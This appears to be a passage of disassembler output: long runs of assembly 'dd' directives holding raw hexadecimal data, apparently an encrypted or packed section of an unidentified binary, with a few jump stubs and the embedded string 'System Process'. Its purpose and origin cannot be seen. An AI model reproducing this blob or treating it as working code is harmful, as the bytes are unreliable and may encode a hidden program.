		dd 629ABEC4h, 0E47C7EC3h, 431A7155h, 22C94B42h,	138ABCCBh
		dd 3F6E900Fh, 5F4E700Fh, 7F2E502Fh, 650F304Fh, 0F5052964h
		dd 98C6B363h, 443AF3E9h, 645AE037h, 7F81C0D7h, 7EAC080Ch
		dd 188BA934h, 154h, 0A0ABB22Dh,	0E55E4E5h, 6AEE55E4h, 6180A6A8h
		dd 88ACE1E0h, 8950073h,	53F09239h, 80C1D118h, 51251AFCh
		dd 0A8B627EDh, 0C949DC51h, 182A3545h, 406A165h,	31F7047Bh
		dd 4A6EE037h, 601B2D32h, 0BECDBE68h, 60E41491h,	587FCA6Bh
		dd 90F455E4h, 9B96FD82h, 1A37C9C4h, 0E34C7F63h,	55E45850h
		dd 0F6A56FD3h, 2655D9D4h, 7C8D2527h, 698D0901h,	87020E51h
		dd 25EF1377h, 0A9569745h, 44278Bh, 808D0000h, 43EC1F65h
		dd 0D3F09290h, 5EDFEF53h, 0D3F092E3h, 31EC03CCh, 0AB660223h
		dd 2393062h, 0F04C96A5h, 0EB292DD3h, 314A36D3h,	0F04C25F4h
		dd 9FA13E53h, 0A5B3C8ECh, 52E21DC9h, 49090B80h,	8F93h
		dd 61801900h, 8347E01Bh, 7449DC6Ah, 96A6DDEBh, 61FE0E32h
		dd 401F2C5Fh, 0E54CB942h, 0CE070F65h, 3FA868AAh, 2B66650Dh
		dd 0FCA49710h, 5B3F55E4h, 46450437h, 0BCFDC94Bh, 55E4FD80h
		dd 18274E89h, 423B4CE6h, 5BAADA5Eh, 0CDFDB8D6h,	60F74BBBh
		dd 0E307335Eh, 0AF63CCFFh, 74FCECAh, 2E380B94h,	0D7BB5FDDh
		dd 2921255Dh, 41793456h, 260017C6h, 1D9AB1C7h, 45F77C51h
		dd 0FC828EDDh, 5CB8D0CDh, 77840038h, 0B7FC1B36h, 7EB49841h
		dd 3002060Ah, 0E01B6180h, 0D8D5F675h, 0C0975B5Ah, 0F5849DAh
		dd 15718904h, 8486D9F1h, 689A0509h, 20B68522h, 49CD55E9h
		dd 36571625h, 41D33747h, 0B67EF665h, 9FD09DC7h,	6D8C090Bh
		dd 1698357Ah, 113352B9h, 0F709969Ah, 0DDEB7484h, 0C23196A6h
		dd 336A9CABh, 5F4E70EFh, 31D2Fh, 8C9B0000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 0EC831F27h,	240C8904h
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 83240C89h, 48904ECh
		dd 4EC8324h, 0BB241C89h, 619B1FFh, 545BD989h, 8124048Bh
		dd 4C4h, 0B9515200h, 0C8F28BAh,	8103E9C1h, 3211CEE9h, 0B3E98139h
		dd 0F738507Bh, 9FC181D1h, 89900F57h, 0C20159CAh, 8B5A0A89h
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2434FF5Ch
		dd 4C48159h, 0E9000000h, 0FFFACA00h, 0F97E21B0h, 5EB840C8h
		dd 30619B6h, 0ECE0FFC5h, 0D7304D1Dh, 9D3D78AAh,	5B4301C3h
		dd 441BB6ABh, 49033C2Eh, 1A22F6CCh, 0F741256Eh,	5F5B21B0h
		dd 0BF17FCE1h, 0F141F049h, 3C3F1EE7h, 12690550h, 0FF05E87Fh
		dd 62798CD0h, 0D14D5CB4h, 0D50F9BCEh, 0CB08EAD9h, 0CB10EF53h
		dd 0B1521771h, 0F71BF0Bh, 0D72E57A3h, 860C2CD1h, 0CB408ED8h
		dd 227ADAC0h, 3E515898h, 9C3FE961h, 2C46D5AFh, 0D16ECCA1h
		dd 7F0645ECh, 0DA75D873h, 0E9191F8Ch, 7, 18A3D1A8h, 0E9000000h
		dd 0D92h, 19B97568h, 8C07E906h,	8068FFFBh, 0E90619BAh
		dd 0FFFB8BFDh, 19BCA168h, 8BF3E906h, 8B68FFFBh,	0E90619BDh
		dd 0FFFB8BE9h, 19C08B68h, 8BDFE906h, 0EA68FFFBh, 0E90619C1h
		dd 0FFFB8BD5h, 19C34368h, 8BCBE906h, 72A4FFFBh,	1146863Dh
		dd 0B81D6B98h, 5FBECE65h, 55795C2h, 35F27DAAh, 42F12A6Ah
		dd 265DCE02h, 8F2475A6h, 55822171h, 0BCA2D8B9h,	0C4398138h
		dd 1A204150h, 39813834h, 3BB6924Ch, 0D9508799h,	306FAF79h
		dd 168BCB55h, 0B292CEECh, 311446AFh, 57B49AA0h,	12CC3368h
		dd 0F6160E0h, 801D7CCFh, 6BDEF9Dh, 91A9792Ah, 336857ABh
		dd 6AEB05F7h, 2C83D34Dh, 680B1C24h, 0CDBF3574h,	4800E258h
		dd 4E8C397Ch, 0BC106CD1h, 977BFA63h, 0D3508EBFh, 0A1B519A1h
		dd 54F5155Ah, 27878Dh, 992A0000h, 64D95087h, 7D2E5C24h
		dd 22E71F7Eh, 0A0357390h, 0F5D74F36h, 0FB397B8Fh, 0B7F4FF57h
		dd 618D5420h, 13Ah, 578799F4h, 232765D8h, 271E95C5h, 0B1940749h
		dd 0CD0C7FDFh, 81957B83h, 73ED3367h, 0F02C5CC1h, 26B05182h
		dd 0F96C9EEFh, 0DB548498h, 0C4222662h, 27CCA96h, 6F7C3894h
		dd 465A4024h, 67263368h, 6846795Fh, 2D5F0933h, 25FB44F3h
		dd 84C4B9F4h, 0A1726168h, 3B1FA187h, 6836060Bh,	61B16F33h
		dd 7AD846C2h, 8FC45825h, 35CFB5CDh, 21D33368h, 2CBC93F7h
		dd 0A706B3EEh, 8E5C3AB2h, 9A68E95Ch, 8A89A1EDh,	26434A8Bh
		dd 63305581h, 97C0FA5Eh, 0AC593F47h, 0BF293367h, 11FA000Dh
		dd 713573C4h, 0CEEF5087h, 7BB4D2B8h, 543CAE39h,	0FC5A7526h
		dd 0F20875A7h, 3B855A3Eh, 0EB3510C2h, 91776A9h,	0C11755C8h
		dd 0CDB5F76Eh, 0C40B157Ah, 5B63F055h, 336A1575h, 2121530Dh
		dd 891895C7h, 0B67569A1h, 920D4F9Dh, 55452360h,	0AC1926ACh
		dd 0B0B6Eh, 60BF1300h, 0CF5EB533h, 0A8054898h, 71ACED7Bh
		dd 0D95282C2h, 0D98647AAh, 718F2477h, 1553801Bh, 0AC3C6BC2h
		dd 0EC82316Eh, 3A6F556Dh, 3B333981h, 0E53666B6h, 43E03E4Eh
		dd 5B2B74C2h, 5574991Fh, 406DE439h, 63E7DD6Dh, 0D98A0FACh
		dd 7E437BDAh, 435738Fh,	0BA62F36Ah, 1242C35Ah, 0D6C62A96h
		dd 0C2A4DCA4h, 88397BF2h, 30EC3204h, 62C642DBh,	8D54844Dh
		dd 0E9CFh, 38666200h, 0AAEA82FBh, 91960C71h, 1D336786h
		dd 17E766BDh, 0AE9607EAh, 1F65253h, 311C93C3h, 0FB5CAFEFh
		dd 5F0D70A2h, 0D34DCAFBh, 7DDC227Dh, 0B0F3D20h,	0F84546F1h
		dd 0C4B9F624h, 659DBC84h, 3574697Ch, 45376C1Eh,	0F02C292Ah
		dd 1900009Dh, 85EE40E1h, 63C1313Bh, 0F504F14Ah,	336CAC32h
		dd 0E03A1E4Ah, 0C7091776h, 0DC19E954h, 3465B6B5h, 36822E98h
		dd 7390FD52h, 69DE654Bh, 0C7433D33h, 4988F759h,	813371D4h
		dd 0AC723A42h, 0B959CC26h, 0A00h, 0C87FB4E6h, 0ADDA53B8h
		dd 70A7FA5Fh, 0D70CA1F0h, 0BFD44789h, 6CACF33Ch, 10448433h
		dd 0B718689Fh, 63B33166h, 66E797CCh, 813B7A60h,	0A32E0639h
		dd 7ED0A999h, 1F22ADB4h, 8222083Eh, 8C7E3367h, 0E13A9A84h
		dd 0C758B864h, 0D126225Eh, 0B7EC4393h, 0A90256D6h, 87992CA9h
		dd 0FA2F756h, 58386A16h, 2A1390CEh, 0AEAF0452h,	9A83207Eh
		dd 0A8956AEEh, 818D738Bh, 7B153367h, 0B1B2ED1Fh, 2669B7D4h
		dd 5A7393F7h, 0D8357397h, 0F959372Eh, 83B21FB8h, 2E58F48Eh
		dd 0D9E10E2Fh, 397BA6F3h, 8369DD8Fh, 13397BA6h,	48F86DBCh
		dd 0FF30603Eh, 0A8A8DA86h, 6AC90957h, 5BBA62F3h, 593F47C6h
		dd 29397BA6h, 0EFABDBBFh, 0E6A6F7C7h, 16E42A3Ch, 25985B5h
		dd 6E0605Eh, 0DC2C5BD8h, 0C63C217Eh, 0C8F855E5h, 2369B798h
		dd 52E48888h, 174CE333h, 8241D836h, 0F4BA1EA1h,	0EF44928Ch
		dd 33F50076h, 0FFD86229h, 0CDB0EB21h, 3F17BB9Fh, 0B7EA2FF1h
		dd 820555D3h, 2765D851h, 3F9488F5h, 4D3577EEh, 0F72C6AFAh
		dd 0BF31018Eh, 7FAB75A4h, 0EA85B793h, 0B1566CE9h, 719FE30Ah
		dd 37668687h, 0A6ED83FAh, 20520E77h, 902CAAF4h,	16724782h
		dd 1F1C4F21h, 0CEB083Eh, 0C5B7A1EFh, 0F09EA60h,	43959DD7h
		dd 0BB1B75E8h, 3464EA66h, 0ED1F8AADh, 0E5791978h, 0F8193088h
		dd 0D685DCC2h, 4ECAA49Dh, 224F94AAh, 2FF1AF33h,	89F0DFh
		dd 5337261Dh, 4CC9Fh, 8F91BE00h, 886ED649h, 189DD69Dh
		dd 53EB376Ch, 2BCD94Ah,	0E9C14B06h, 6FC4120Ah, 0BCCE4AF6h
		dd 64858083h, 5BBCB396h, 0EB1333A6h, 3367F805h,	2BB1E39Dh
		dd 96D24BE6h, 0FFF992B2h, 0CFB93573h, 0CF8CF541h, 0BDEEF5BCh
		dd 6EA7DFBEh, 9F104F31h, 76D25181h, 0D153CAA4h,	0A2D8A5A6h
		dd 12436A02h, 5FC5DE8Eh, 3C68C717h, 0DC0E1EAEh,	26E25071h
		dd 0B9837075h, 0B4BD5BDh, 2777A994h, 73D79588h,	276DB39Ch
		dd 44928CF4h, 0ED76A8EFh, 3DA84BD2h, 7DF9Dh, 1C93C700h
		dd 0FB3299E7h, 44D93C4Ch, 2D80D12Fh, 0F52676F6h, 8DD2135Eh
		dd 25A3D04Bh, 0F907BCEFh, 90D00796h, 98B6ED42h,	3D9B81B9h
		dd 0FE73981h, 54879982h, 202060C5h, 511998C6h, 6C0E13D8h
		dd 0B9D74EF8h, 0A5AAD954h, 9F86197Bh, 0C80565EDh, 88000000h
		dd 8EDEDD8Ah, 0D832B357h, 2F307D86h, 6DE88740h,	0D000000h
		dd 7FDEDD8Ah, 67816647h, 0D34A2433h, 91C65DBDh,	0B9AC0353h
		dd 0DC1DEA58h, 96139079h, 0EEEF98B2h, 41D69CB8h, 301D4F6Ch
		dd 746AD10Ah, 2627D135h, 271E93C6h, 0CAE41D65h,	0B69CA2C3h
		dd 0CA397C6Ah, 1F49E634h, 0B4BF973Bh, 8D550DF7h, 0E9CFF714h
		dd 0B9397C6Ch, 11974BCFh, 1A000000h, 128D8h, 71A77900h
		dd 0FB62BF12h, 0BE3B1F49h, 7BDAD98Ah, 739BFE43h, 0ADEA8435h
		dd 209AB571h, 0F59240B5h, 0ED000006h, 8FDD0AA9h, 22A2D148h
		dd 0C705B2EFh, 9CEC1B96h, 29B4E33Ch, 0CE61B3ECh, 0AA054B99h
		dd 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh, 39813E85h,	8A94191Dh
		dd 578EDEDDh, 0B78F63E4h, 4012FFACh, 96B987h, 8A3C0000h
		dd 29FF2DDh, 65AB75D0h,	0CB1153CAh, 7C2C1188h, 5CDD0414h
		dd 145FF7DBh, 87401357h, 73C1h,	87995400h, 2163DA55h, 7F7C2B21h
		dd 8850AEEFh, 7C68FA70h, 40F22B60h, 1C1181C0h, 6EC1233h
		dd 9A336847h, 436B43EAh, 0F92B34BFh, 0DF61F599h, 96E67A6Fh
		dd 79DFE90Dh, 748CF426h, 3367B18Dh, 45D63AE2h, 0D6BCA0E0h
		dd 0AA3367A1h, 8A922C3Ah, 3D6F0F69h, 5D658283h,	3367F177h
		dd 15F9590Bh, 87409F55h, 4B314976h, 573367F9h, 9109DDA5h
		dd 0ACFFFFFEh, 8EDEDD8Ah, 95FBBB57h, 0C4D231Ah,	82D0AC91h
		dd 0A5CC62Dh, 7CD238D7h, 876D95B2h, 1B336781h, 6805E969h
		dd 0D0874013h, 249h, 0E5366645h, 70ADEC80h, 0E4056A0Dh
		dd 6781F8DEh, 5D437B33h, 25336781h, 0CB4F394Bh,	9EFE0F27h
		dd 4696D60Dh, 47F070D5h, 3A5EB446h, 0B6977E11h,	6869AA90h
		dd 0EA04F633h, 6F4A536Bh, 32C83574h, 95D74EE3h,	0B3AA0557h
		dd 26C647F1h, 84C4B9F2h, 0BD851646h, 0D96D1584h, 803768A8h
		dd 0F23161BFh, 0D5488896h, 6A91E16Bh, 77EE1816h, 7B871DFFh
		dd 21FF5039h, 30D4BCEFh, 72ADEF1Eh, 0D85587C5h,	13EF5583h
		dd 0A1F10FF2h, 0FF6DD002h, 0B8CE4F4Ch, 3B882493h, 0EA46FD6Fh
		dd 6BDBBAB9h, 7D693E2Fh, 9CBD852Ah, 85278F7Fh, 11ECD2E8h
		dd 0DAB43368h, 9D03CAAAh, 67A97F65h, 27510333h,	0AE7E2323h
		dd 6A043573h, 5CBA62F3h, 26225EC7h, 7BB0381Eh, 9E0F4439h
		dd 1588C9A7h, 55E94930h, 471FF318h, 0DBBAB9EAh,	87B5FEA3h
		dd 7987773Bh, 0EB2D6786h, 0F074C873h, 3BD2F83h,	1A039AFDh
		dd 9530EA6Eh, 67B6876Dh, 3F691B33h, 851A7888h, 0F0854AB8h
		dd 7D8A01C1h, 0EC9C811Ch, 2EAFD6B2h, 0E13F901h,	2E6F3368h
		dd 680E3218h, 629C4E33h, 45DA38E6h, 9EFF212Eh, 5AF50703h
		dd 0B9A53F5Bh, 0A6D00652h, 978E9FA7h, 423C3573h, 968163DBh
		dd 0CB4F397Bh, 1D73AD73h, 69E99B82h, 5443E885h,	3E508Dh
		dd 8AC50000h, 5A7BDAD9h, 811F053Dh, 0F1633367h,	8FAC7191h
		dd 44363573h, 8F8769E1h, 0C417397Bh, 5B63F055h,	397B8F75h
		dd 0C70D530Dh, 9C86F154h, 870B97CAh, 2107A4AFh,	95B18D54h
		dd 24000000h, 82FB3866h, 0C71AAEAh, 6CA12270h, 0CE9E8731h
		dd 82E41390h, 3367867Dh, 4AE736F6h, 77B191D3h, 0E15B8827h
		dd 54C8B5B6h, 83AAAEFFh, 712A2C7Bh, 157BA535h, 61E1A39Ah
		dd 0A07CD98Bh, 78883F70h, 482E5418h, 54397E21h,	8AB6AF00h
		dd 375C8E78h, 20983011h, 0F512C035h, 0ED000003h, 8FDD0AA9h
		dd 22A2D148h, 0C705B2EFh, 9CEC1B96h, 29B4E33Ch,	0CE61B3ECh
		dd 0AA054B99h, 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh, 39814185h
		dd 6694191Dh, 3E4EE536h, 871443E0h, 89F93866h, 0D9548583h
		dd 0AB882464h, 27B951Fh, 40F72C6Ah, 0F9386653h,	0ECE53DBFh
		dd 2B533212h, 33681545h, 0C71A35Dh, 72586E8Fh, 0E336815h
		dd 0EC2AF45Ch, 732C00B7h, 0DCED1570h, 6E357426h, 0EB0889FCh
		dd 7C05EDD3h, 85DBB539h, 3A66DF4Eh, 544265Eh, 860A397Ch
		dd 0B306ABB0h, 1D038D54h, 4FE367B6h, 31h, 0DAD98AE2h, 53D5A7Bh
		dd 3367811Fh, 7191F163h, 35738FACh, 69E14436h, 397B8F87h
		dd 666DC155h, 8D542149h, 3E73A646h, 0A93D0547h,	0E6h, 0FB3866CCh
		dd 5F457D9Ah, 23336781h, 0DCB0D1B1h, 223A237Ch,	0EF4293F4h
		dd 5474C876h, 7E3602DEh, 0D5AB92CCh, 8DF92E85h,	3367CD88h
		dd 3C6BC816h, 0BC1D6EACh, 124CFC61h, 8D8EB92Bh,	0E9697A80h
		dd 6F193573h, 4DDE3EEEh, 3D0D72C5h, 0D9A98E13h,	0A3D9B94Ah
		dd 227DDFF0h, 0A87495F0h, 32523667h, 3B857EE9h,	0E1E7FE9h
		dd 8C1F71CEh, 3E95EB99h, 98CA76EFh, 62BB1D6Bh, 0B7E6B7DEh
		dd 0EC6DCA7Ah, 2A1AB9EBh, 1C26AC0Bh, 29669A9h, 4A8C0000h
		dd 0E92EBED5h, 90C503B0h, 3766E61Dh, 0DD3F4DFAh, 0DCA1542h
		dd 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh, 0DBAF959h, 0E4CAF051h
		dd 0BC398142h, 789935B8h, 67815C42h, 344A2433h,	94D449E6h
		dd 5A2272ACh, 281C8DC2h, 33678142h, 0C572AC5Eh,	9FF45787h
		dd 3B55170Eh, 0D98A2F8Ch, 820BF109h, 5E643367h,	33678178h
		dd 520C5E08h, 0F154C90Ch, 180401B3h, 42FE67B8h,	6686A7C6h
		dd 1586D637h, 5FC67030h, 0EC51CC01h, 0FE0602BCh, 35738F39h
		dd 50364C49h, 50397B8Fh, 991174A6h, 397B8FB7h, 43889485h
		dd 74CA6EEAh, 5421426Fh, 0F1FA8Dh, 997F0000h, 7DC55487h
		dd 0BC1073A3h, 304C3163h, 0FD2C63E0h, 0B7AED888h, 67863A3Fh
		dd 1996C433h, 59BB65EAh, 252D5FC6h, 0E9289BFBh,	3A40D1B4h
		dd 33678554h, 0D600B22Ch, 4342FD6Fh, 0DD0800E0h, 0C8B5E7F8h
		dd 8E2575ABh, 556DD597h, 3573DF44h, 0F72914C6h,	390E0AA5h
		dd 36171447h, 0ECD2E809h, 0B4397B9Eh, 9A467EDAh, 7E3B8542h
		dd 1E4B408Eh, 6E3B4243h, 56A2CA1Dh, 0FB5AF426h
		dd 0A5BAF325h, 69360143h, 8E35122Eh, 818A6B5Eh,	0CE18F657h
		dd 0A4D0944Dh, 0B2EF22B8h, 46B999CBh, 3E45D606h, 26AC0224h
		dd 3D0FCF46h, 25000001h, 0C705B2F1h, 9AEA1990h,	3F4DFA37h
		dd 0D41443DEh, 71FC2B84h, 76A9EBB4h, 0D24D83C1h, 0A5F427A5h
		dd 3A0FE0Eh, 235B3AD4h,	3981443Dh, 666CD145h, 3E4EE536h
		dd 0A5C243E0h, 6781B79Dh, 3919CB33h, 71A779C6h,	669F5A3Eh
		dd 2986D738h, 0BD043B80h, 87DAF4Ah, 0E2F2E58h, 67E412F8h
		dd 94FC6E33h, 6EC3136Dh, 5AB8F178h, 0ED7FA9C5h,	0C2BED507h
		dd 0B6889091h, 0CE75EA7Ah, 7390B19Ch, 6839654Bh, 0C7433D33h
		dd 7EEF2DBFh, 3A23DD35h, 0B51043DDh, 1652CB62h,	54829CE4h
		dd 0D20CA3F3h, 0B8F727A5h, 0F3754C5h, 39809029h, 7B8B8F79h
		dd 33F6A508h, 0D9E10E6Fh, 4C0A9CF3h, 0D175DD8Fh, 0BD0E4C7Dh
		dd 2E5AC35Ah, 8C647FCh,	6A7CF156h, 58C64289h, 0D64789FAh
		dd 270712F7h, 0A499CBA7h, 42D34AE4h, 0CC0A7BDAh, 402557h
		dd 7AB7E600h, 5CF29003h, 95064AD2h, 9690F0B0h, 4D6AEB48h
		dd 0B6E4F35h, 4C72534Ch, 4C0B6E66h, 3F1E483Ah, 0B6E2107h
		dd 93F7614Ch, 62EE2CBCh, 0B6E765Ch, 455A0A4Ch, 67FFA1C8h
		dd 52CB6597h, 0F84h, 17860900h,	1A7BC609h, 0B0E29E87h
		dd 3EBB9FCDh, 86FF3466h, 120BA8F6h, 9D80197Ah, 2B128DC3h
		dd 0B5A80355h, 3F2679DBh, 0C8BDF021h, 59CC61B4h, 0E459D007h
		dd 2B5D68B3h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch
		dd 5E08950h, 4,	8704E883h, 895C2404h, 5268240Ch, 89000013h
		dd 0EC83242Ch, 24148904h, 19B7C2BAh, 5AD18906h,	242C8B54h
		dd 4C481h, 89530000h, 0DA8952CBh, 5A085589h, 2434FF5Bh
		dd 4C4815Dh, 0FF000000h, 83592434h, 82E904C4h, 7FFFFB7Eh
		dd 0A5B8F905h, 30619C4h, 0EFE0FFC5h, 0F235A312h, 0A41AF54h
		dd 7877DBC5h, 7A3FC26Fh, 5B14F7DBh, 2B5B153Ch, 0A77AFC41h
		dd 673DAA7Dh, 0E86161A9h, 0Eh, 0FA1377B5h, 0CBCFCF13h
		dd 0D9AE1265h, 0B70F8D54h, 0F28158F3h, 0BEF32E8h, 7060C081h
		dd 2BF50000h, 66B966DBh, 183C8BA5h, 61CAB660h, 0D2B0C781h
		dd 81F95BDEh, 7D4A03C7h, 59F9510Fh, 0B9DBC781h,	0F18A2B52h
		dd 13E957h, 99120000h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h
		dd 92857797h, 18048FFDh, 0F60CA8Bh, 281h, 80F38B00h, 8361A7C4h
		dd 8E902EBh, 2E000000h,	2FCFF399h, 4B08C349h, 12E94Bh
		dd 253E0000h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h,	467C0C16h
		dd 906CFB81h, 850FFFFFh, 12h, 27E9h, 43C46300h,	67F9F7E4h
		dd 6E19C58Dh, 8E9AEFFh,	0F3000000h, 5E4074A9h, 0E9E4351Eh
		dd 0FFFFFF5Dh, 15B4C4F6h, 11291986h, 15EE9h, 9A8C8200h
		dd 7A68FC62h, 864C9282h, 5B58B04Ah, 5056BB0Dh, 5356B854h
		dd 5858B30Dh, 73718F54h, 2124863Dh, 0DA700854h,	0DEC46CD6h
		dd 66B69C9Ah, 17140F54h, 12854h, 0
		dd 400h, 2 dup(0)
		dd 3300h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Ch dup(0)
		dd 0E9000000h, 178Ch, 19C95468h, 7C0BE906h, 6468FFFBh
		dd 0E90619CAh, 0FFFB7C01h, 19CB5868h, 7BF7E906h, 3D68FFFBh
		dd 0E90619CCh, 0FFFB7BEDh, 19CD9C68h, 7BE3E906h, 0E68FFFBh
		dd 0E90619CFh, 0FFFB7BD9h, 19CFC468h, 7BCFE906h, 8968FFFBh
		dd 0E90619D0h, 0FFFB7BC5h, 19D2D268h, 7BBBE906h, 0DD68FFFBh
		dd 0E90619D3h, 0FFFB7BB1h, 19D49C68h, 7BA7E906h, 5868FFFBh
		dd 0E90619D5h, 0FFFB7B9Dh, 19D6EC68h, 7B93E906h, 0A968FFFBh
		dd 0E90619DCh, 0FFFB7B89h, 19DD8F68h, 7B7FE906h, 2668FFFBh
		dd 0C50A5A89h, 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h
		dd 164DDE3Eh, 0FA2982D6h, 43F0296Ah, 295ED505h,	8EE1475h
		dd 9839814Ah, 38662994h, 0BB6F79F9h, 61ECFE4Ah,	67C47359h
		dd 235D0F33h, 0BDF4223Ah, 0A3EDE94Fh, 0CC49FB22h, 0BAA3FC50h
		dd 0DBB58A8Eh, 0F55087A8h, 6A160F9Eh, 0D5074538h, 0CC415268h
		dd 17C13573h, 0BA8F636h, 0D3F25612h, 7BAB795Bh,	74D30539h
		dd 0E95C8E1Fh, 72EB4697h, 0DE132B0Fh, 0F3F84EC2h, 8D5458BEh
		dd 0AB0255CBh, 413BAFh,	8ABE0000h, 437BDAD9h, 35738F7Eh
		dd 62F36A04h, 3A75DB45h, 7B8F5C42h, 0B6E72839h,	0B6CE4A24h
		dd 397B8FD4h, 412479D8h, 0CEB7EA2Fh, 0DE132B8Fh, 355CBC2h
		dd 3204A8A8h, 54208429h, 0B8348Dh, 99B90000h, 0BA88DAA9h
		dd 29296A8Bh, 1D009FFFh, 0A79E1143h, 332A89C9h,	478AFD5Dh
		dd 210495C6h, 1C4C3163h, 0B6D1B5E2h, 7433682Bh,	0A5A8926h
		dd 72EE57CCh, 2243C2C1h, 6822361Ch, 9B81B933h, 0E7336822h
		dd 909FB75h, 3AF1DAE0h,	0E7913574h, 0A0A3DCB0h,	0DFE99DA5h
		dd 0E39D3B85h, 0C15ABA62h, 0A9025292h, 0AC81906Ah, 0B363D226h
		dd 14FDh, 1443E032h, 0F92E7FD4h, 5C8B266Bh, 2350CD0Ch
		dd 8B3873A5h, 98F8A760h, 3C90D007h, 0E334B4E3h,	8FCF1D4Ah
		dd 4ACBE310h, 814A4E34h, 57DA5239h, 87C93666h, 3F4DFA14h
		dd 3D0B42DFh, 4096285Bh, 36A8E23Ah, 72ACDEE4h, 0D98AD4C5h
		dd 0C25A7BDAh, 65271E93h, 65B4E7h, 0FBC0C040h, 7435738Fh
		dd 4C3469A8h, 0C1392CDEh, 397B8FDFh, 0CE1529EDh, 8D5420A1h
		dd 0E11Bh, 38669E00h, 4E829AFBh, 583868DDh, 0AA055729h
		dd 86203BB3h, 0B0EE3367h, 8B7BC473h, 660A0F4Eh,	38E662B5h
		dd 582269DAh, 67E03C22h, 78AA4433h, 30154705h, 0B98487B0h
		dd 9CF93067h, 67E08066h, 0F2560033h, 0F8CAB3CBh, 1EC83573h
		dd 7FAEE13Fh, 1F48241Bh, 0ACEF311Ch, 352EFB7Fh,	295B75F3h
		dd 0ED0C7434h, 859334D5h, 3904F63Bh, 0C97F8BC9h, 0F50DF078h
		dd 3369DC0Fh, 0D3B7E193h, 5A2272AAh, 69DB3E24h,	66904233h
		dd 0CE61B331h, 0AC458589h, 0CE0C7926h, 13EDh, 2453D002h
		dd 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h, 88C89750h
		dd 2C60E017h, 0D30444F3h, 7FDF2D5Ah, 7ADBF320h,	814B5E44h
		dd 47CA2239h, 4EE53666h, 296FE03Eh, 0A3DD8FF6h,	2CC454A2h
		dd 0BB581536h, 0DABEF525h, 3866B465h, 52829AFBh, 344879D9h
		dd 0CA1A49E6h, 5D332A87h, 5471A6FDh, 5A608140h,	33678174h
		dd 0C4F6520Ch, 8CADA8ABh, 67E33C90h, 7389C65Fh,	2969B735h
		dd 0E29C8E8Ah, 0EF5ABD63h, 40C072ADh, 0B8FDDE56h, 0AE7ECB01h
		dd 0CF4C316Ah, 5BAD1B7h, 0F527D125h, 0CFCC7F8Dh, 9FFF214Eh
		dd 63000000h, 2F2711BEh, 0D54BC8BDh, 0A362F7Eh,	4043FC0Eh
		dd 0BD6575C5h, 25518C57h, 0F1CD371Dh, 6F994B2Ah, 0ACBCC2EBh
		dd 502CFB46h, 8086A7A6h, 2504B59Ah, 0A4F958E6h,	0F15183C1h
		dd 0A90654C8h, 77ACEA7Ah, 116BC2D0h, 1D14435h, 12F9h, 1047DC3Eh
		dd 0F5227BD0h, 588F2277h, 3F54C908h, 873C6FA1h,	94C49B64h
		dd 389CEC1Bh, 0DF30B0E7h, 8BCB194Eh, 4ECFFF14h,	814C5238h
		dd 5BC62E39h, 0D8578799h, 0C5232765h, 0A5271E95h, 768C898Ah
		dd 35738585h, 0AC3C6B05h, 64B71D6Eh, 0A6D153CAh, 0D9A2D8A5h
		dd 0F93B924Bh, 0BE1E0E0Fh, 1C48F86Dh, 3ABC78BEh, 7796F2FEh
		dd 4BCA69A9h, 6EE24AFBh, 351DD9FFh, 0F35482C2h,	7EDF09A0h
		dd 503069AEh, 8380B331h, 58BB6582h, 382C5CC1h, 3374F152h
		dd 0CBB2EF22h, 0B59D4F99h, 0B7856E94h, 6B05358Bh, 4FE432EAh
		dd 158AC818h, 5787B030h, 7C37492Fh, 7DAF5939h, 0E87C2210h
		dd 2B416D2Ah, 0C0E10E2Fh, 0BFA7F85Ch, 397C6CD9h, 0D8F3FA9h
		dd 140FC329h, 9AC7FF5Bh, 783B881Bh, 4651498Eh, 60D526AEh
		dd 1214B2h, 0B8F75B00h,	796FD0Bh, 0E03D90D0h, 49E435B3h
		dd 118ACA1Ah, 0E1BE7FE2h, 0B9C77CAFh, 5DABD853h, 0F474A3FAh
		dd 24DA09A6h, 4D371D25h, 0E34B3981h, 0E536667Eh, 5D437B98h
		dd 25336781h, 478CF4Bh,	9D83BB6Bh, 0E5336781h, 467CD90Bh
		dd 3573972Dh, 720A73EDh, 336EA324h, 0C4125281h,	0C492C86Dh
		dd 97C14B97h, 3C5558B6h, 0E776079Dh, 0B5E66263h, 5AAFD7B6h
		dd 683B880Fh, 487E9FFEh, 3367F262h, 0D64FE432h,	0AAAE58AAh
		dd 0C49A389Bh, 0A9DE5585h, 868784B7h, 74086780h, 0C4B92B35h
		dd 50356AA8h, 0DE47D83Ch, 6BD24F8Eh, 6578CE24h,	0EF4214FEh
		dd 0A8DEBFBCh, 3B87FD8Fh, 0B2326113h, 0E056CF64h, 336802FEh
		dd 0C2035BBFh, 0EE3E1F94h, 5D0F76ABh, 94C202F5h, 89BA261Fh
		dd 46738B8Ah, 0CC3573FEh, 0DD40D93Eh, 0C107DAFh, 947A80CCh
		dd 0EC397BFDh, 8F40C072h, 5E09DBD6h, 29CAF05Dh,	0F93B92C4h
		dd 153010Fh, 5D3FB7AEh,	0CD33753Bh, 97B49192h, 0A579FBA7h
		dd 162C472Fh, 33754F30h, 0EC548670h, 8C1613D4h,	98E59735h
		dd 7FDB5484h, 3F90CE5Eh, 0ADDF46D9h, 5684C473h,	8A0EF40Ah
		dd 0CC92397Bh, 0B7E1138Ch, 0AB0856D6h, 0DDF0DB7Bh, 0AC94A956h
		dd 699FB95h, 99E6DFC1h,	24F26320h, 10B5h, 0EC1B98FAh, 0B1E6379Ch
		dd 1443DE33h, 0FB2885D4h, 43F02B6Dh, 5080DF18h,	0F458A8DFh
		dd 9BFC0CBBh, 4797D502h, 8283BBE8h, 814E967Ch, 9F02EA39h
		dd 10363666h, 3367812Ah, 0F0EA8A54h, 0EA64664Ch, 79B2E278h
